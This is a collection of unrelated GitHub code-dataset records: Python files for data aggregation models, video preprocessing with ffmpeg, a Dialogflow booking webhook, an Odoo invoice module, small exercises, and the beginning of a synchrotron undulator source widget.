Set[str]:\n \"\"\"\n Container with used taxon for the params\n \"\"\"\n return {dim.taxon for dim in self.sort_dimensions}\n\n\nclass AggregationDefinition(PydanticModel):\n \"\"\"Definition of aggregation type with additional parameters\"\"\"\n\n _SIMPLE_AGGS: Set[AggregationType] = {\n AggregationType.sum,\n AggregationType.avg,\n AggregationType.min,\n AggregationType.max,\n # dimensions using one field\n AggregationType.count_all,\n AggregationType.group_by,\n }\n \"\"\"Set with all simple aggregations - requiring only one taxon\"\"\"\n\n _WITH_SORT_DIMENSION_AGGS: Set[AggregationType] = {AggregationType.first_by, AggregationType.last_by}\n \"\"\"Set with all aggregations which require sort dimension taxons\"\"\"\n\n type: AggregationType\n \"\"\"Type of the aggregation function\"\"\"\n\n params: Optional[Union[AggregationParamsSortDimension, AggregationParamsCountDistinct]]\n \"\"\"Additional parameters for the aggregation function\"\"\"\n\n @root_validator(pre=True)\n def validate_params(cls, values):\n \"\"\"Make sure that all params for given aggregation type are set and valid\"\"\"\n agg_type = EnumHelper.from_value_safe(AggregationType, values.get('type'))\n if not agg_type:\n return values\n\n if values['type'] == AggregationType.not_set or values['type'] in cls._SIMPLE_AGGS:\n values['params'] = None\n return values\n\n if 'params' not in values:\n raise ValueError('Missing \"params\" field')\n\n if agg_type in cls._WITH_SORT_DIMENSION_AGGS:\n values['params'] = AggregationParamsSortDimension(**values['params'])\n elif agg_type == AggregationType.count_distinct.value:\n values['params'] = AggregationParamsCountDistinct(**values['params'])\n else:\n raise ValueError(f'Unsupported aggregation type - {values[\"type\"]}')\n\n return values\n\n def __repr__(self):\n repr_params = repr(self.params) if self.params else 'None'\n return f'AggregationDefinition(type=AggregationType.{self.type.value}, params={repr_params})'\n\n def used_taxon_slugs(self) -> Set[str]:\n \"\"\"\n Determine which taxon slugs are required for the aggregation definition\n \"\"\"\n if not self.params:\n return set()\n else:\n return self.params.used_taxon_slugs()\n\n @classmethod\n def common_defined_definition(\n cls,\n agg_definitions: Sequence[Optional['AggregationDefinition']],\n use_fallback_aggregations: bool = False,\n calculation_type: TaxonTypeEnum = TaxonTypeEnum.dimension,\n ) -> Optional['AggregationDefinition']:\n \"\"\"\n Finds the common defined aggregation definition among the provided iterable of definitions.\n\n Returns:\n - None, if a single aggregation definition cannot be deduced (i.e. there's multiple different defined definitions or there is no concrete definition)\n - \"not_set\", if all aggregation definitions are not set\n - a single aggregation definition - if all aggregation definitions are either \"not_set\" or have the same aggregation type\n\n Fallback aggregation logic:\n - if \"calculation_type\" = 'dimension' && \"aggregation_type\" = 'not_set' --> 'group_by'\n - if \"calculation_type\" = 'metric' && \"aggregation_type\" = 'not_set' --> 'sum'\n\n :param agg_definitions: List of aggregation definitions\n :param use_fallback_aggregations: Whether we should fallback to default aggregation definitions for 'not_set\"\n :param calculation_type: Defines type of the calculation for including this type (used for fallback aggregation logic)\n \"\"\"\n # at least one of the types is invalid so we cannot reliably deduce the definition\n agg_types = {agg.type if agg else None for agg in agg_definitions}\n if None in agg_types:\n return None\n\n defined_definitions = [agg for agg in agg_definitions if agg and agg.type is not AggregationType.not_set]\n unique_defined_types = {agg_type for agg_type in agg_types if agg_type is not AggregationType.not_set}\n\n # all types are \"not_set\" or the list is empty\n if len(unique_defined_types) == 0:\n if use_fallback_aggregations:\n if calculation_type is TaxonTypeEnum.dimension:\n return AggregationDefinition(type=AggregationType.group_by)\n else:\n return AggregationDefinition(type=AggregationType.sum)\n else:\n return AggregationDefinition(type=AggregationType.not_set)\n\n # the list of provided aggregation definitions contains only aggregation type \"not_set\" or one common type\n if len(unique_defined_types) == 1:\n # use the common aggregation type\n # TODO: update this code to work with complex aggregation definition (merging them)\n return defined_definitions[0]\n\n # there's multiple different defined aggregation types\n return None\n","repo_name":"panoramichq/panoramic-cli","sub_path":"src/panoramic/cli/husky/core/taxonomy/aggregations.py","file_name":"aggregations.py","file_ext":"py","file_size_in_byte":7071,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"40679166129","text":"import argparse\nimport json\nimport math\nimport os\nimport subprocess\n\n\n\ndef get_parser():\n parser = argparse.ArgumentParser(\n description='Pre-process videos, targeting 800x600 @ 25fps. ' +\n 'Reads additional information from JSON database.')\n \n group = parser.add_mutually_exclusive_group(required=True)\n\n group.add_argument('--input-path',\n help='Folder with video files to process.')\n \n parser.add_argument('--output-path',\n help='Folder where processed videos will be stored.')\n \n parser.add_argument('--database',\n help='JSON file that stores the motion database.',\n required=True)\n \n parser.add_argument('--metadata',\n action='store_true',\n help='Create JSON file containing basic metadata (input file etc.)')\n \n parser.add_argument('--debug',\n action='store_true',\n help='Print debug output.')\n \n return parser\n\ndef get_video_duration(file):\n command = ['ffprobe',\n '-i', file,\n '-show_entries', 'format=duration',\n '-v', 'quiet',\n '-of', 'csv=p=0']\n\n duration = subprocess.check_output(command)\n return duration\n\ndef create_scaled_video(file, out_file):\n command = ['ffmpeg',\n '-i', file,\n '-vf',\n 'scale=800:600',\n out_file]\n\n subprocess.run(command)\n\ndef remove_file(file):\n command = ['rm', file]\n subprocess.run(command)\n\n\ndef cut_video_sequence(video_file, start, duration, out_folder, out_file):\n command = ['ffmpeg',\n '-ss', str(start),\n '-i', video_file,\n '-t', str(duration),\n '-c', 'copy', out_folder + '/' + out_file]\n\n subprocess.run(['mkdir', '-p', out_folder])\n subprocess.run(command)\n\ndef create_metadata_file(filename, video_path, dancer_name, base, database):\n metadata = {}\n metadata['file'] = []\n metadata['file'].append({\n 'source': video_path,\n })\n\n dataset = find_dataset(dancer_name, database)\n if dataset:\n try:\n metadata['info'] = []\n metadata['info'].append({\n 'tags': dataset['videos'][base],\n })\n except KeyError:\n print('Key not found')\n with open(filename, 'w') as file:\n json.dump(metadata, file)\n\ndef read_database_file(filename):\n with open(filename) as json_file:\n data = json.load(json_file)\n return data\n\ndef build_folder_name(dancer_name, filename, database):\n dataset = find_dataset(dancer_name, database)\n if dataset:\n try:\n tags = dataset['videos'][filename]\n folder_name = '_'.join(tags)\n return folder_name \n except KeyError:\n print('Key not found')\n\n return ''\n\ndef find_dataset(dancer_name, database):\n for dataset in database['dancers']:\n if dataset['name'] == dancer_name:\n return dataset\n\n return false\n\n\ndef preprocess_video(video_path, input_path, output_path, database,\n metadata=False, debug=False):\n \n file = os.path.basename(video_path)\n base = os.path.splitext(file)[0]\n dancer_name = os.path.basename(os.path.normpath(input_path))\n folder_name = build_folder_name(dancer_name, base, database)\n\n if folder_name:\n output_path = output_path + '/' + folder_name\n processed_file = output_path + '/' + 'input.mp4'\n metadata_file = output_path + '/' + 'metadata.json'\n \n if debug:\n print('Processing', file)\n print(os.path.abspath(processed_file))\n print(os.path.abspath(metadata_file))\n\n subprocess.run(['mkdir', '-p', os.path.abspath(output_path)])\n\n create_scaled_video(video_path, processed_file)\n\n if metadata:\n create_metadata_file(metadata_file,\n os.path.abspath(video_path),\n dancer_name,\n base,\n database)\n else:\n print('No entry in database found for ', dancer_name, '. Aborting.')\n \nif __name__ == '__main__':\n args = get_parser().parse_args()\n\n if args.input_path:\n input_path = args.input_path\n output_path = args.output_path if args.output_path else args.input_path\n\n print('\\n')\n print('Reading database file', args.database)\n print('Processing folder', os.path.abspath(input_path))\n\n database = read_database_file(args.database)\n\n for file in next(os.walk(input_path))[2]:\n video_path = input_path + '/' + file\n preprocess_video(video_path,\n input_path,\n output_path,\n database,\n args.metadata,\n args.debug)\n\n else:\n print('No path to folder containing video files specified.')\n\n print('\\n')\n","repo_name":"deep-dance/core","sub_path":"data/preprocess_videos.py","file_name":"preprocess_videos.py","file_ext":"py","file_size_in_byte":4796,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"43832919443","text":"def mylcm(a, b):\n temp1 = a\n temp2 = b\n if a == 0:\n a, b = b, a\n while b != 0:\n a, b = b, a % b\n print(b)\n return int(temp1 * temp2 / a)\n\n\nprint(mylcm(12, 78))\n","repo_name":"amazing-2020/pdf","sub_path":"Python/code case/code case 110.py","file_name":"code case 110.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70995992193","text":"\nfrom __future__ import print_function\n#from future.standard_library import install_aliases\n#install_aliases()\n\nfrom urllib.parse import urlparse, urlencode\nfrom urllib.request import urlopen, Request\nfrom urllib.error import HTTPError\n\nimport json\nimport os\nimport app.helper as hlp\n\nfrom flask import Flask\nfrom flask import request\nfrom flask import make_response\n\n# Flask app should start in global layout\napp = Flask(__name__)\n\n\n@app.route('/webhook', methods=['POST'])\ndef webhook():\n req = request.get_json(silent=True, force=True)\n\n print(json.dumps(req, indent=4))\n # i select the appropriate logic for the right intent, in this case \"book_visit\"\n if req[\"queryResult\"][\"intent\"][\"displayName\"] == \"book_visit\":\n string = \"Ok, ti cerco un \" + req[\"queryResult\"][\"parameters\"][\"medic\"] + \". Dove vuoi trovarlo?\"\n my_result = {\n \"fulfillmentText\": string,\n \"source\": string\n }\n elif req[\"queryResult\"][\"intent\"][\"displayName\"] == \"book_visit_followup1\":\n string = \"Ok, che giorno preferisci?\"\n my_result = {\n \"fulfillmentText\": string,\n \"source\": string\n }\n elif req[\"queryResult\"][\"intent\"][\"displayName\"] == \"book_visit_followup2\":\n string = \"Ok, a che ora?\"\n my_result = {\n \"fulfillmentText\": string,\n \"source\": string\n }\n elif req[\"queryResult\"][\"intent\"][\"displayName\"] == \"book_visit_followup3\":\n print(\"--------------------------------------------------\")\n print(req)\n params = req[\"queryResult\"][\"outputContexts\"][0][\"parameters\"]\n # params[\"medic\"] params[\"place\"] params[\"day\"] params[\"hour\"]\n db = hlp.connect_to_database()\n collection = db.get_collection(\"doctors\")\n retrieved = collection.find({'titles': {\"$in\": [params[\"medic\"]]}})\n checked_conditions = []\n\n string = \"Ho trovato il medico \" + str(retrieved[0][\"name\"][\"first_name\"])\n my_result = {\n \"fulfillmentText\": string,\n \"source\": string\n }\n res = json.dumps(my_result, indent=4)\n r = make_response(res)\n r.headers['Content-Type'] = 'application/json'\n return r\n\n\ndef makeWebhookResult(data):\n print (\"starting makeWebhookResult...\")\n query = data.get('query')\n if query is None:\n return {}\n\n result = query.get('results')\n if result is None:\n return {}\n\n channel = result.get('channel')\n if channel is None:\n return {}\n\n item = channel.get('item')\n location = channel.get('location')\n units = channel.get('units')\n if (location is None) or (item is None) or (units is None):\n return {}\n\n condition = item.get('condition')\n if condition is None:\n return {}\n\n # print(json.dumps(item, indent=4))\n\n speech = \"Today the weather in \" + location.get('city') + \": \" + condition.get('text') + \\\n \", And the temperature is \" + condition.get('temp') + \" \" + units.get('temperature')\n\n print(\"Response:\")\n print(speech)\n # Naresh\n return {\n\n \"fulfillmentText\": speech,\n \"source\": \"Yahoo Weather\"\n }\n\n\n@app.route('/test', methods=['GET'])\ndef test():\n return \"Hello there my friend !!\"\n\n\n@app.route('/static_reply', methods=['POST'])\ndef static_reply():\n\n req = request.get_json(silent=True, force=True)\n\n string = \"You are awesome !!\"\n print(req)\n my_result = {\n\n \"fulfillmentText\": string,\n \"source\": string\n }\n\n res = json.dumps(my_result, indent=4)\n\n r = make_response(res)\n\n r.headers['Content-Type'] = 'application/json'\n return r\n\n\nif __name__ == '__main__':\n\n port = int(os.getenv('PORT', 5000))\n\n print(\"Starting app on port %d\" % port)\n\n app.run(debug=True, port=port, host='0.0.0.0')","repo_name":"clone95/DialogFlow-Chatbot-Experiments","sub_path":"app/backend_logic.py","file_name":"backend_logic.py","file_ext":"py","file_size_in_byte":3792,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"6179456074","text":"import base64\n\nfrom dateutil.relativedelta import relativedelta\nfrom odoo.tools.misc import formatLang, format_date, get_lang\nfrom odoo import fields, api, models\nfrom datetime import datetime\nfrom odoo.exceptions import UserError, ValidationError\nfrom odoo import http\nimport requests\nimport json\nimport urllib3\nimport uuid\nimport hmac\nimport hashlib\n\nclass MyInvoice(models.Model):\n\t_name = \"my.invoice\"\n\t_order = 'date desc'\n\t_sql_constraints = [('name', 'unique(name)', 'Hoá đơn này đã tồn tại!')]\n\t_inherit = ['mail.thread', 'mail.activity.mixin']\n\t\n\tname = fields.Char(string=\"Tên hoá đơn\", readonly=True)\n\troom_id = fields.Many2one(string=\"Phòng\", comodel_name=\"room.motel\", required=True)\n\tid_user = fields.Many2one(comodel_name=\"my.user\", related='room_id.id_user')\n\tdate = fields.Datetime(string=\"Thời gian\", default=datetime.now())\n\tbill_electricity = fields.Integer(string=\"Tiền điện\", compute='get_bill_electricity', store=True)\n\tbill_waters = fields.Integer(string=\"Tiền nước\", compute='get_bill_waters', store=True)\n\tbill_room = fields.Integer(string=\"Tiền phòng\", compute='get_bill_room', store=True)\n\tbill_internet = fields.Integer(string=\"Tiền Internet\", related=\"room_id.id_price.internet_price\")\n\ttotal_amount = fields.Integer(string=\"Tổng tiền\", compute='get_total_bill', store=True)\n\tstate = fields.Selection(selection=[('unpaid', 'Chưa thanh toán'), ('paid', 'Đã thanh toán')],\n\t default='unpaid', string='Trạng thái',track_visibility='always')\n\tid_invoice_detail = fields.One2many(string=\"Chi tiết hoá đơn\", comodel_name=\"invoice.detail\",\n\t inverse_name=\"id_invoice\")\n\tbill_advance = fields.Integer(string='Tiền thêm', track_visibility='always')\n\tcurrency_id = fields.Many2one('res.currency',string = 'Đơn vị tiền tệ', default=lambda self: self.env['res.currency'].browse(23))\n\tis_old_invoice = fields.Boolean(string='Hoá đơn tháng trước')\n\tdate_deadline = fields.Date(string='Hạn thanh toán' , default=lambda self: datetime.today().replace(day=1) + relativedelta(months=+1, days=+5))\n\tuser_id = fields.Many2one(string='Liên kết tới', comodel_name='res.users')\n\treport_id = fields.Many2one(string='Sự cố', comodel_name='report')\n\n\n\t@api.onchange('report_id')\n\tdef get_monetary_penalty(self):\n\t\tif self.report_id:\n\t\t\tself.bill_advance = self.report_id.monetary_penalty\n\n\n\t@api.depends('id_invoice_detail.total_elec')\n\tdef get_bill_electricity(self):\n\t\tfor bill in self:\n\t\t\tbill.bill_electricity = bill.id_invoice_detail.total_elec * bill.room_id.id_price.electricity_price\n\t\n\t@api.depends('id_invoice_detail.total_water')\n\tdef get_bill_waters(self):\n\t\tfor bill in self:\n\t\t\tbill.bill_waters = bill.id_invoice_detail.total_water * bill.room_id.id_price.waters_price\n\n\t@api.depends('room_id')\n\tdef get_bill_room(self):\n\t\tfor bill in self:\n\t\t\tbill.bill_room = bill.room_id.id_price.room_price\n\t\n\t@api.depends('bill_electricity', 'bill_waters', 'bill_room', 'bill_internet')\n\tdef get_total_bill(self):\n\t\tfor bill in self:\n\t\t\tbill.total_amount = bill.bill_electricity + bill.bill_waters + bill.bill_room + bill.bill_internet\n\t\n\tdef process_invoice(self):\n\t\tif self.state == 'unpaid':\n\t\t\tself.state = 'paid'\n\t\telif self.state == 'paid':\n\t\t\tself.state = 'unpaid'\n\t\n\t@api.model\n\tdef create(self, vals):\n\t\tif vals.get('date'):\n\t\t\tdate = vals.get('date')\n\t\t\troom_id = vals.get('room_id')\n\t\t\tdate_time_obj = datetime.strptime(date, '%Y-%m-%d %H:%M:%S')\n\t\t\tlist_date_invoice_old_obj = self.env['my.invoice'].search([('room_id', '=', room_id)])\n\t\t\tlist_date_invoice_old = list_date_invoice_old_obj.mapped('date')\n\t\t\tfor rec in list_date_invoice_old:\n\t\t\t\tif date_time_obj.year == rec.year and date_time_obj.month == rec.month:\n\t\t\t\t\traise ValidationError('Bạn không thể nhiều hoá đơn cho cùng 1 tháng!')\n\t\tvals['name'] = self.env['ir.sequence'].next_by_code('my.invoice') or 'New'\n\t\treturn super(MyInvoice, self).create(vals)\n\t\n\tdef name_get(self):\n\t\t# name get function for the model executes automatically\n\t\tres = []\n\t\tfor rec in self:\n\t\t\tres.append((rec.id, '%s - %s' % (rec.name, rec.room_id.name)))\n\t\treturn res\n\n\tdef create_payment(self):\n\t\turl = 'https://www.youtube.com/watch?v=HP2bjrt76pQ'\n\t\tif url:\n\t\t\treturn {\n\t\t\t\t'type': 'ir.actions.act_url',\n\t\t\t\t'url': url,\n\t\t\t\t'taget': 'new',\n\t\t\t}\n\t\telse:\n\t\t\traise ValidationError(\"Eo co duong dan\")\n\n\tdef _create_attachment_file(self, invoice_id):\n\t\tir_values = {}\n\t\treport_template_id = self.env.ref('motel_management.report_my_invoice')._render_qweb_pdf(invoice_id)\n\t\tdata_record = base64.b64encode(report_template_id[0])\n\t\tir_values.update({\n\t\t\t'name': \"Hoá đơn đóng tiền trọ.pdf\",\n\t\t\t'datas': data_record,\n\t\t\t'store_fname': data_record,\n\t\t\t'type': 'binary',\n\t\t\t'mimetype': 'application/pdf',\n\t\t})\n\n\t\tif not ir_values:\n\t\t\treturn None\n\t\treturn self.env['ir.attachment'].create(ir_values)\n\n\tdef cron_auto_send_email(self):\n\t\ttemplate_id = self.env.ref('motel_management.invoice_email_template').id\n\t\tmail_template = self.env['mail.template'].browse(template_id)\n\t\tlist_invoice_ids = self.env['my.invoice'].search([('state', '=', 'unpaid')])\n\t\tfor invoice in list_invoice_ids:\n\t\t\tattachment_ids = []\n\t\t\tdata_invoice = self._create_attachment_file(invoice.id)\n\t\t\tif data_invoice:\n\t\t\t\tattachment_ids.append(data_invoice.id)\n\t\t\tif not attachment_ids:\n\t\t\t\tcontinue\n\t\t\tmail_template.attachment_ids = ([(6, 0, attachment_ids)])\n\t\t\temail_values = {'email_to': invoice.room_id.id_user.user_id.partner_id.email,\n\t\t\t\t\t\t\t'email_from': self.env.user.email}\n\t\t\tmail_template.send_mail(invoice.id, email_values=email_values, force_send=True)\n\n\t\treturn True\n","repo_name":"thinhnguyen17596/doan","sub_path":"models/my_invoice.py","file_name":"my_invoice.py","file_ext":"py","file_size_in_byte":5659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34551200809","text":"\nimport os\nimport sys\n#import tech\nfrom modules import *\nfrom colorama import Fore, Style, init\n\ndef mk_menu(kv):\n #os.system('cls')\n print()\n init()\n my_keys = list(kv.keys())\n num = 0\n p_green('\\n' + '_' * 75 + '\\n')\n for point in kv:\n num += 1\n p_cyan(f'\\t{num} {point}')\n\n choice = '99'\n while choice != '0':\n print(f'{Fore.GREEN}\\n\\n -> ', end='')\n choice = input()\n if '' == choice:\n menu_main()\n elif 0 < int(choice) < len(my_keys) + 1:\n comand = 'python ' + kv[my_keys[int(choice)-1]] + '.py'\n os.system('cls')\n os.system(comand)\n mk_menu(kv)\n elif '0' == choice:\n sys.exit()\n else:\n print(f'{Fore.RED} >> wrong choice!')\n\n\ndef menu_main():\n os.system('cls')\n print('\\n\\n')\n menu = ['1 People',\n '2 Some',\n '3 Monitors',\n '4 Kabinet',\n '5 Base',]\n for point in menu:\n #print(f'{Fore.YELLOW} {point}', end = ' ')\n p_cyan(f'\\t{point}')\n \n choise = -1\n while choise != 0:\n print('\\n\\n -> ', end='')\n choise = input()\n \n if \"1\" == choise:\n os.system('cls')\n menu_people()\n\n if \"2\" == choise:\n os.system('cls')\n menu_some()\n\n if \"3\" == choise:\n os.system('cls')\n menu_monitor()\n\n if \"4\" == choise:\n os.system('cls')\n menu_kabinet()\n\n if \"5\" == choise:\n os.system('cls')\n menu_base()\n\n elif '0' == choise:\n sys.exit()\n else:\n p_red('\\n\\twrong choise!')\n\ndef menu_people():\n h_people = {'Priem': 'priem',\n 'Otpusk': 'otpusk',\n 'Perevod': 'perevod',\n 'PostAll': 'postall',}\n mk_menu(h_people)\n \ndef menu_some():\n h_some = {'Terminals': 'terminals',\n 'Site': 'sitenew',\n 'summury': 'summury_new_deps',\n 'Natasha': 'natasha',\n 'Kvadratiki': 'kvadratiki',}\n mk_menu(h_some)\n os.system('cls')\n\ndef menu_monitor():\n h_monitor = {'Monitor': 'monitor',\n 'Accback': 'accback',\n 'Walker': 'walker',}\n mk_menu(h_monitor)\n\ndef menu_kabinet():\n h_kabinet = {'Knigi': 'knigi',\n 'Rro': 'rro',\n 'Pereezd': 'pereezd',\n 'Otmena': 'otmena',\n 'OtmenaKnigi': 'otmena_knigi',}\n os.system('cls')\n mk_menu(h_kabinet)\n\ndef menu_base():\n h_base = {'add_otbor': 'add_otbor',\n 'add_vsyo_zapros': 'add_vsyo_zapros',}\n os.system('cls')\n mk_menu(h_base)\n\n\ninit()\nmenu_main()\n","repo_name":"alexeizaigraev/mamba_py","sub_path":"MAMBA.py","file_name":"MAMBA.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28639947389","text":"#삼중 나생문이면 그냥 끝남\nh = int(input())\ncount = 0\n\nfor i in range(h + 1):\n for j in range(60):\n for k in range(60):\n # 이거는 그냥 문자열에 3이 존재한다면 count하게 하는 것임(간단)\n # 초반엔 int형을 list안에 넣어서 다 character 단위로 쪼개서 3이 존재하면 count하게 하려고 짜려했으나 미치도록 비효율적이라 다시 생각해보니\n # 문자열 사용하면 됐음...\n if '3' in str(i) + str(j) + str(k):\n count += 1\nprint(count)","repo_name":"tmdwls2805/CT","sub_path":"이코테/04. 구현/시각.py","file_name":"시각.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23562674671","text":"def checker(n):\n a = []\n for i in range(0,len(str(n))):\n a.append(int(str(n)[i]))\n if sorted(a) == a:\n return True\n return False\n\ndef zero(n):\n a = []\n for i in range(0,len(str(n))):\n a.append(int(str(n)[i]))\n for i in a:\n if i > 1:\n return False\n if len(a) == 1 and a[0] == 1:\n return False\n return True\n\ndef convert(n):\n l = len(str(n))-1\n s = \"\"\n for i in range(0,l):\n s += \"9\"\n return int(s)\n\ndef last(num):\n for i in range(num,0,-1):\n if zero(i):\n return convert(i)\n if checker(i):\n return i\n return 0\n\nl = int(input())\n\nfor i in range(0,l):\n num = int(input())\n print(\"Case #{}: {}\".format(i+1,last(num)))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/4804.py","file_name":"4804.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2650751737","text":"#\n# TODO: plot electron trajectory\n#\n\n\nimport sys\n\nimport numpy\n\nfrom PyQt5 import QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QApplication\nfrom orangewidget import gui\nfrom orangewidget.settings import Setting\nfrom oasys.widgets import gui as oasysgui\nfrom oasys.widgets import congruence\nfrom oasys.util.oasys_util import TriggerOut, EmittingStream, TTYGrabber\n\nfrom orangecontrib.shadow.widgets.gui import ow_source\n\nfrom syned.widget.widget_decorator import WidgetDecorator\nimport syned.beamline.beamline as synedb\nimport syned.storage_ring.magnetic_structures.undulator as synedu\nfrom syned.storage_ring.electron_beam import ElectronBeam\nfrom syned.storage_ring.magnetic_structures.undulator import Undulator\n\nfrom silx.gui.plot.StackView import StackViewMainWindow\nfrom silx.gui.plot import Plot2D\n\nfrom orangecontrib.shadow.util.undulator.source_undulator import SourceUndulator\nfrom orangecontrib.shadow.util.undulator.source_undulator_input_output import SourceUndulatorInputOutput\nfrom Shadow import Beam as Shadow3Beam\nfrom orangecontrib.shadow.util.shadow_objects import ShadowSource, ShadowBeam, ShadowOEHistoryItem\n\nclass UndulatorFull(ow_source.Source, WidgetDecorator):\n\n name = \"Full Undulator\"\n description = \"Shadow Source: Full Undulator\"\n icon = \"icons/undulator.png\"\n priority = 4\n\n\n K = Setting(0.25)\n period_length = Setting(0.032)\n periods_number = Setting(50)\n\n energy_in_GeV = Setting(6.04)\n current = Setting(0.2)\n use_emittances_combo=Setting(1)\n sigma_x = Setting(400e-6)\n sigma_z = Setting(10e-6)\n sigma_divergence_x = Setting(10e-06)\n sigma_divergence_z = Setting(4e-06)\n\n number_of_rays = Setting(5000)\n seed = Setting(6775431)\n photon_energy = Setting(10500.0)\n harmonic = Setting(1.0)\n set_at_resonance = Setting(0)\n delta_e = Setting(1000.0)\n maxangle_urad = Setting(15)\n\n # advanced setting\n ng_t = Setting(51)\n ng_p = Setting(11)\n ng_j = Setting(20)\n ng_e = Setting(11)\n code_undul_phot = Setting(0) # 0=internal 1=pySRU 2=SRW\n flag_size = Setting(1) # 0=Point 1=Gaussian 2=backpropagate divergences\n coherent = Setting(0) # 0=No 1=Yes\n\n # aux\n file_to_write_out = 0\n plot_aux_graph = 1\n sourceundulator = None\n\n add_power = False\n power_step = None\n\n inputs = [(\"Trigger\", TriggerOut, \"sendNewBeam2\")]\n WidgetDecorator.append_syned_input_data(inputs)\n\n def __init__(self):\n super().__init__()\n\n self.controlArea.setFixedWidth(self.CONTROL_AREA_WIDTH)\n\n tabs_setting = oasysgui.tabWidget(self.controlArea)\n tabs_setting.setFixedHeight(self.TABS_AREA_HEIGHT)\n tabs_setting.setFixedWidth(self.CONTROL_AREA_WIDTH-5)\n\n tab_bas = oasysgui.createTabPage(tabs_setting, \"Basic Setting\")\n tab_sou = oasysgui.createTabPage(tabs_setting, \"Source Setting\")\n tab_grid = oasysgui.createTabPage(tabs_setting, \"Advanced Settings\")\n\n left_box_1 = oasysgui.widgetBox(tab_bas, \"Monte Carlo\", addSpace=True, orientation=\"vertical\")\n\n oasysgui.lineEdit(left_box_1, self, \"number_of_rays\", \"Number of rays\", tooltip=\"Number of Rays\", labelWidth=250, valueType=int, orientation=\"horizontal\")\n oasysgui.lineEdit(left_box_1, self, \"seed\", \"Seed\", tooltip=\"Seed (0=clock)\", labelWidth=250, valueType=int, orientation=\"horizontal\")\n\n left_box_2 = oasysgui.widgetBox(tab_sou, \"Machine Parameters\", addSpace=True, orientation=\"vertical\")\n\n oasysgui.lineEdit(left_box_2, self, \"energy_in_GeV\", \"Energy [GeV]\", labelWidth=250, tooltip=\"Energy [GeV]\", valueType=float, orientation=\"horizontal\")\n oasysgui.lineEdit(left_box_2, self, \"current\", \"Current [A]\", labelWidth=250, tooltip=\"Current [A]\", valueType=float, orientation=\"horizontal\")\n\n gui.comboBox(left_box_2, self, \"use_emittances_combo\", label=\"Use Emittances?\", items=[\"No\", \"Yes\"], callback=self.set_UseEmittances, labelWidth=260, orientation=\"horizontal\")\n\n self.box_use_emittances = oasysgui.widgetBox(left_box_2, \"\", addSpace=False, orientation=\"vertical\")\n\n\n self.le_sigma_x = oasysgui.lineEdit(self.box_use_emittances, self, \"sigma_x\", \"Size RMS H [m]\", labelWidth=250, tooltip=\"Size RMS H [m]\", valueType=float, orientation=\"horizontal\")\n self.le_sigma_z = oasysgui.lineEdit(self.box_use_emittances, self, \"sigma_z\", \"Size RMS V [m]\", labelWidth=250, tooltip=\"Size RMS V [m]\", valueType=float, orientation=\"horizontal\")\n\n oasysgui.lineEdit(self.box_use_emittances, self, \"sigma_divergence_x\", \"Divergence RMS H [rad]\", labelWidth=250, tooltip=\"Divergence RMS H [rad]\", valueType=float, orientation=\"horizontal\")\n oasysgui.lineEdit(self.box_use_emittances, self, \"sigma_divergence_z\", \"Divergence RMS V [rad]\", labelWidth=250, tooltip=\"Divergence RMS V [rad]\", valueType=float, orientation=\"horizontal\")\n\n self.set_UseEmittances()\n\n left_box_3 = oasysgui.widgetBox(tab_sou, \"Undulator Parameters\", addSpace=True, orientation=\"vertical\")\n\n oasysgui.lineEdit(left_box_3, self, \"K\", \"K\", labelWidth=250, tooltip=\"Undulator Deflection Parameter K\", valueType=float, orientation=\"horizontal\")\n oasysgui.lineEdit(left_box_3, self, \"period_length\", \"period Length [m]\", labelWidth=250, tooltip=\"Undulator Period Length [m]\", valueType=float, orientation=\"horizontal\")\n oasysgui.lineEdit(left_box_3, self, \"periods_number\", \"Number of periods\", labelWidth=250, tooltip=\"Number of periods\", valueType=int, orientation=\"horizontal\")\n\n left_box_4 = oasysgui.widgetBox(tab_sou, \"Photon energy\", addSpace=True, orientation=\"vertical\")\n\n #\n gui.comboBox(left_box_4, self, \"set_at_resonance\",\n label=\"Set photon energy\", addSpace=False,\n items=['User defined', 'Set to resonance'],\n valueType=int, orientation=\"horizontal\", labelWidth=250,callback=self.set_UseResonance)\n\n self.box_photon_energy = gui.widgetBox(left_box_4)\n oasysgui.lineEdit(self.box_photon_energy, self, \"photon_energy\", \"Photon energy [eV] (center)\",\n tooltip=\"Photon energy [eV]\", labelWidth=250, valueType=float, orientation=\"horizontal\")\n\n self.box_harmonic = gui.widgetBox(left_box_4)\n oasysgui.lineEdit(self.box_harmonic, self, \"harmonic\", \"Photon energy [N x Resonance]; N: \",\n tooltip=\"Photon energy [N x Resonance]; N: \", labelWidth=250, valueType=float, orientation=\"horizontal\")\n\n self.box_maxangle_urad = gui.widgetBox(left_box_4)\n oasysgui.lineEdit(self.box_maxangle_urad, self, \"maxangle_urad\", \"Max elevation angle for radiation [urad]\",\n tooltip=\"Max elevation angle for radiation theta [urad]\", labelWidth=250, valueType=float, orientation=\"horizontal\")\n\n self.set_UseResonance()\n\n\n #self.box_photon_energy.setEnabled(False)\n\n oasysgui.lineEdit(left_box_4, self, \"delta_e\", \"Photon energy width [eV] (0=monochr.)\", tooltip=\"Photon energy interval [eV] (0=monochromatic)\", labelWidth=250, valueType=float, orientation=\"horizontal\")\n\n adv_other_box = oasysgui.widgetBox(tab_bas, \"Optional file output\", addSpace=False, orientation=\"vertical\")\n\n gui.comboBox(adv_other_box, self, \"file_to_write_out\", label=\"Files to write out\", labelWidth=120,\n items=[\"None\", \"begin.dat\",\"begin.dat+radiation.h5\"],\n sendSelectedValue=False, orientation=\"horizontal\")\n\n\n # 